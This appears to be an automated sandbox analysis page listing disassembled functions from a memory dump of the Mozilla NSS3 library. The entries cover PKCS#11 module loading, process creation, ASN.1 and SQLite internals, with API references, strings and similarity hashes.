free.MOZGLUE(00000000), ref: 6CFA7550
free.MOZGLUE(00000000), ref: 6CFA7561
free.MOZGLUE(00000000), ref: 6CFA7572
free.MOZGLUE(00000000), ref: 6CFA7583
free.MOZGLUE(00000000), ref: 6CFA7594
free.MOZGLUE(00000000), ref: 6CFA75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CFA75BD
free.MOZGLUE(00000000), ref: 6CFA75C8
free.MOZGLUE(00000000), ref: 6CFA75F1
PR_NewLock.NSS3 ref: 6CFA7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CFA7686
PR_NewLock.NSS3 ref: 6CFA76A2

Part of subcall function 6D0598D0: calloc.MOZGLUE(00000001,00000084,6CF80936,00000001,?,6CF8102C), ref: 6D0598E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CFA76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CFA7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CFA771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CFA7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CFA774A
DeleteCriticalSection.KERNEL32(?), ref: 6CFA7770
free.MOZGLUE(?), ref: 6CFA7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFA779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFA77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CFA77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CFA77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CFA7821
PORT_Alloc_Util.NSS3(?), ref: 6CFA7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CFA785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CFA786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CFA78AC
free.MOZGLUE(00000000), ref: 6CFA78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CFA78F3
free.MOZGLUE(00000000), ref: 6CFA78FC
free.MOZGLUE(00000000), ref: 6CFA791C

Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807AD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807CD
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF1204A), ref: 6CF807D6
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF1204A), ref: 6CF807E4
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,6CF1204A), ref: 6CF80864
Part of subcall function 6CF807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CF80880
Part of subcall function 6CF807A0: TlsSetValue.KERNEL32(00000000,?,?,6CF1204A), ref: 6CF808CB
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808D7
Part of subcall function 6CF807A0: TlsGetValue.KERNEL32(?,?,6CF1204A), ref: 6CF808FB

Strings

NSS Internal Module, xrefs: 6CFA74A2, 6CFA74C6
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CFA74C7
rdb:, xrefs: 6CFA7744
dll, xrefs: 6CFA788E
kbi., xrefs: 6CFA7886
sql:, xrefs: 6CFA76FE
dbm:, xrefs: 6CFA7716
Spac, xrefs: 6CFA7389
extern:, xrefs: 6CFA772B
,defaultModDB,internalKeySlot, xrefs: 6CFA748D, 6CFA74AA

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 806ca8335b6368a89bbc8857c528554e30e77113c892f6c48a1b57c7f80d1443
Instruction ID: 268afb3c992dd4e46808b4143d200f5d653162bd99c20328fbe54ae270be6bb0
Opcode Fuzzy Hash: 806ca8335b6368a89bbc8857c528554e30e77113c892f6c48a1b57c7f80d1443
Instruction Fuzzy Hash: 155210B1D01301DBEF208FA4DC05BAEBBB4BF09308F25402AED19A7655E771D956CB92

Function 6CFCBFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CFCC0C8

Part of subcall function 6D059440: LeaveCriticalSection.KERNEL32 ref: 6D0595CD
Part of subcall function 6D059440: TlsGetValue.KERNEL32 ref: 6D059622
Part of subcall function 6D059440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6D05964E

PR_EnterMonitor.NSS3 ref: 6CFCC0AE

Part of subcall function 6D059090: LeaveCriticalSection.KERNEL32 ref: 6D0591AA
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D059212
Part of subcall function 6D059090: _PR_MD_WAIT_CV.NSS3 ref: 6D05926B

Part of subcall function 6CF80600: GetLastError.KERNEL32(?,?,?,?,?,6CF805E2), ref: 6CF80642
Part of subcall function 6CF80600: TlsGetValue.KERNEL32(?,?,?,?,?,6CF805E2), ref: 6CF8065D
Part of subcall function 6CF80600: GetLastError.KERNEL32 ref: 6CF80678
Part of subcall function 6CF80600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CF8068A
Part of subcall function 6CF80600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF80693
Part of subcall function 6CF80600: PR_SetErrorText.NSS3(00000000,?), ref: 6CF8069D
Part of subcall function 6CF80600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,CF417904,?,?,?,?,?,6CF805E2), ref: 6CF806CA
Part of subcall function 6CF80600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CF805E2), ref: 6CF806E6

PR_EnterMonitor.NSS3 ref: 6CFCC0F2
PR_ExitMonitor.NSS3 ref: 6CFCC10E
PR_ExitMonitor.NSS3 ref: 6CFCC081

Part of subcall function 6D059440: TlsGetValue.KERNEL32 ref: 6D05945B
Part of subcall function 6D059440: TlsGetValue.KERNEL32 ref: 6D059479
Part of subcall function 6D059440: EnterCriticalSection.KERNEL32 ref: 6D059495
Part of subcall function 6D059440: TlsGetValue.KERNEL32 ref: 6D0594E4
Part of subcall function 6D059440: TlsGetValue.KERNEL32 ref: 6D059532
Part of subcall function 6D059440: LeaveCriticalSection.KERNEL32 ref: 6D05955D

PR_EnterMonitor.NSS3 ref: 6CFCC068

Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590AB
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590C9
Part of subcall function 6D059090: EnterCriticalSection.KERNEL32 ref: 6D0590E5
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D059116
Part of subcall function 6D059090: LeaveCriticalSection.KERNEL32 ref: 6D05913F

Part of subcall function 6CF80600: GetProcAddress.KERNEL32(?,?), ref: 6CF80623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CFCC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CFCC183
free.MOZGLUE(00000000), ref: 6CFCC18E
PR_LoadLibrary.NSS3(?), ref: 6CFCC1A3
PR_EnterMonitor.NSS3 ref: 6CFCC1D4
PR_ExitMonitor.NSS3 ref: 6CFCC1F3
PR_CallOnce.NSS3(6D0F2318,6CFCCA70), ref: 6CFCC210
PR_EnterMonitor.NSS3 ref: 6CFCC22B
PR_ExitMonitor.NSS3 ref: 6CFCC247
PR_EnterMonitor.NSS3 ref: 6CFCC26A
PR_ExitMonitor.NSS3 ref: 6CFCC287
PR_UnloadLibrary.NSS3(?), ref: 6CFCC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CFCC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CFCC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CFCC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CFCC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CFCC7B5
PR_UnloadLibrary.NSS3(?), ref: 6CFCC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CFCC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CFCC8BF
PORT_Alloc_Util.NSS3(?), ref: 6CFCC8D5
free.MOZGLUE(00000000), ref: 6CFCC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CFCC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFCC9E5
free.MOZGLUE(00000000), ref: 6CFCCA5A

Strings

Vendor NSS FIPS Interface, xrefs: 6CFCC34A
FC_GetInterface, xrefs: 6CFCC054
NSC_GetFunctionList, xrefs: 6CFCC093
NSC_ModuleDBFunc, xrefs: 6CFCC0FC
NSS_DISABLE_UNLOAD, xrefs: 6CFCC7B0
FC_GetFunctionList, xrefs: 6CFCC098
PKCS 11, xrefs: 6CFCC2F9, 6CFCC314
nss_mod_log, xrefs: 6CFCC3CC
NSS_ReturnModuleSpecData, xrefs: 6CFCC275
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CFCC38D
NSC_GetInterface, xrefs: 6CFCC04F
NSS_FORCE_TOKEN_LOCK, xrefs: 6CFCC77D

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: a0cc38d261aee49399840f7af2ed4dc7bac374839197e5bc8148a235abda58ad
Instruction ID: ceafb01b6106ab9b76262ff14beea8922e860fc8379ae708b5deb1ba76a1f3d5
Opcode Fuzzy Hash: a0cc38d261aee49399840f7af2ed4dc7bac374839197e5bc8148a235abda58ad
Instruction Fuzzy Hash: 43427AB2B042469FEF54DF64E882B9B3BB1FB56308F640029DC058BB61E731D954CB96

Function 6D0A3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6D0A3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6D0A3FFE
malloc.MOZGLUE(-00000003), ref: 6D0A4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6D0DFC62), ref: 6D0A404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0A407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0A40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0A40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0A4112
malloc.MOZGLUE(00000000), ref: 6D0A411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6D0A414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0A4160
free.MOZGLUE(?), ref: 6D0A416C
malloc.MOZGLUE(?), ref: 6D0A41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6D0A41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6D0A4520), ref: 6D0A4244
GetEnvironmentStrings.KERNEL32 ref: 6D0A424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0A4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0A4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0A42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0A42E4
malloc.MOZGLUE(00000002), ref: 6D0A42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6D0A4342
GetStdHandle.KERNEL32(000000F6), ref: 6D0A43AB
GetStdHandle.KERNEL32(000000F5), ref: 6D0A43B2
GetStdHandle.KERNEL32(000000F4), ref: 6D0A43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6D0A4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0A4410

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6D0A445E
CloseHandle.KERNEL32(?), ref: 6D0A446B
free.MOZGLUE(?), ref: 6D0A4482
free.MOZGLUE(00000000), ref: 6D0A4492
free.MOZGLUE(00000000), ref: 6D0A44A4
GetLastError.KERNEL32 ref: 6D0A44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6D0A44BE
free.MOZGLUE(?), ref: 6D0A44C7
free.MOZGLUE(00000000), ref: 6D0A44D5
free.MOZGLUE(00000000), ref: 6D0A44EA

Strings

D, xrefs: 6D0A4396
NSPR_INHERIT_FDS=, xrefs: 6D0A41E9
=, xrefs: 6D0A44F8

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: b29bc73d6cbd0abf81fffc4d294de5765b65224b1a42aae08c422a746602e980
Instruction ID: 0401cab94b95552ac48cb63a7b2cdca708c77f6cc5b940093d2bca35b8a3c983
Opcode Fuzzy Hash: b29bc73d6cbd0abf81fffc4d294de5765b65224b1a42aae08c422a746602e980
Instruction Fuzzy Hash: B702D279D04356ABFB11CFE9C8807AEBBF4AF4A304F194129D85AA7243DB71E805CB51

Function 6CFB6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6D0BA8EC,0000006C), ref: 6CFB6DC6
memcpy.VCRUNTIME140(?,6D0BA958,0000006C), ref: 6CFB6DDB
memcpy.VCRUNTIME140(?,6D0BA9C4,00000078), ref: 6CFB6DF1
memcpy.VCRUNTIME140(?,6D0BAA3C,0000006C), ref: 6CFB6E06
memcpy.VCRUNTIME140(?,6D0BAAA8,00000060), ref: 6CFB6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFB6E38

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CFB6E76
TlsGetValue.KERNEL32 ref: 6CFB726F
EnterCriticalSection.KERNEL32(?), ref: 6CFB7283

Strings

!, xrefs: 6CFB7123

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 875c4f551677fe82b2a6f53b491ec18c24a42163f2d263b0b612524d12b10996
Instruction ID: 04c7a01138cd1c8c68389b038ad1e0b3b2537c97749f32903f126499d3a20fda
Opcode Fuzzy Hash: 875c4f551677fe82b2a6f53b491ec18c24a42163f2d263b0b612524d12b10996
Instruction Fuzzy Hash: 58728F75D052199FDF60CF29CC88B9ABBB5EF49304F1541AAE80DA7341E731AA84CF91

Function 6CF23C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF23C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CF23D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF23EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF23ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF23F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF24052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF2406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CF2410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF2449C

Strings

%s at line %d of [%.10s], xrefs: 6CF24495, 6CF244F9, 6CF2459E, 6CF24769, 6CF24809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF24452, 6CF24486, 6CF244EA, 6CF24571, 6CF24580, 6CF2458F, 6CF2475A, 6CF247FA
database corruption, xrefs: 6CF24490, 6CF244F4, 6CF24599, 6CF24764, 6CF24804

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 28d1536380fae0217b4f02ac2fa94fc0a76152ab189f8398c881178cb00d87d9
Instruction ID: b85922dc1c0639eb85f7f6a493fd45b0a0e12f093db7eda7061561ad6fd44a17
Opcode Fuzzy Hash: 28d1536380fae0217b4f02ac2fa94fc0a76152ab189f8398c881178cb00d87d9
Instruction Fuzzy Hash: A182AF71A04205CFDB04CFA8C490B9EBBF2BF49318F258199D905ABB52D779EC46CB91

Function 6CFFAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CFFACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CFFACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CFFACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CFFAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CFFADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFFADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFFADF0

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFFB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFFB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFFB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFFB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CFFB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFFB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFFB40C

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 7582f26e43e914d45ccf04d3e976ebb38db736dc49152a4894349fe1fdeb092a
Instruction ID: e7355e8c7904474c65361b754b209b5da972d4e6075c5b6f35274ba5a5889606
Opcode Fuzzy Hash: 7582f26e43e914d45ccf04d3e976ebb38db736dc49152a4894349fe1fdeb092a
Instruction Fuzzy Hash: 1A22AE71904301AFE710CF14CC44B9A77E1EF84308F25896CE9695F7A2E772E85ACB96

Function 6CF41F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CF425F3

Strings

no such table: %s, xrefs: 6CF426AC
table %s has %d values for %d columns, xrefs: 6CF4316C
a NATURAL join may not have an ON or USING clause, xrefs: 6CF432C1
%s.%s, xrefs: 6CF42D68
cannot have both ON and USING clauses in the same join, xrefs: 6CF432B5
%s.%s.%s, xrefs: 6CF4302D
too many columns in result set, xrefs: 6CF43012
cannot join using column %s - column not present in both tables, xrefs: 6CF432AB
unsafe use of virtual table "%s", xrefs: 6CF430D1
recursive reference in a subquery: %s, xrefs: 6CF422E5
H, xrefs: 6CF4322D
'%s' is not a function, xrefs: 6CF42FD2
access to view "%s" prohibited, xrefs: 6CF42F4A
H, xrefs: 6CF4329F
too many references to "%s": max 65535, xrefs: 6CF42FB6
multiple recursive references: %s, xrefs: 6CF422E0
no tables specified, xrefs: 6CF426BE
no such index: "%s", xrefs: 6CF4319D

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 351ca64fe296d4a744abd65d623a337e3a061cc9cb1df7226cc70771e79df390
Instruction ID: d1225834587eeeb14a23aff651c6eb15fcbcf03fff156fef4fb4f47b60daadbd
Opcode Fuzzy Hash: 351ca64fe296d4a744abd65d623a337e3a061cc9cb1df7226cc70771e79df390
Instruction Fuzzy Hash: 1CD28D75E04209CFDB04CF99C484BAEBBB2BF49318F28C169D855AB752D736E846CB50

Function 6CF7ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF7ED38

Part of subcall function 6CF14F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF14FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CF7EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CF7EFE4

Part of subcall function 6D03DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CF15001,?,00000003,00000000), ref: 6D03DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CF7F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CF7F129
sqlite3_mprintf.NSS3(optimize), ref: 6CF7F1D1
sqlite3_free.NSS3(?), ref: 6CF7F368

Strings

fts4, xrefs: 6CF7F2AD
fts3tokenize, xrefs: 6CF7F30F
offsets, xrefs: 6CF7EFAF, 6CF7EFDF, 6CF7F01F
porter, xrefs: 6CF7ED97
unicode61, xrefs: 6CF7EDB5
optimize, xrefs: 6CF7F199, 6CF7F1CC, 6CF7F211
snippet, xrefs: 6CF7EF05, 6CF7EF37, 6CF7EF7C
simple, xrefs: 6CF7ED79
fts3, xrefs: 6CF7F247
fts4aux, xrefs: 6CF7ECF9
fts3_tokenizer, xrefs: 6CF7EE1A, 6CF7EEA8
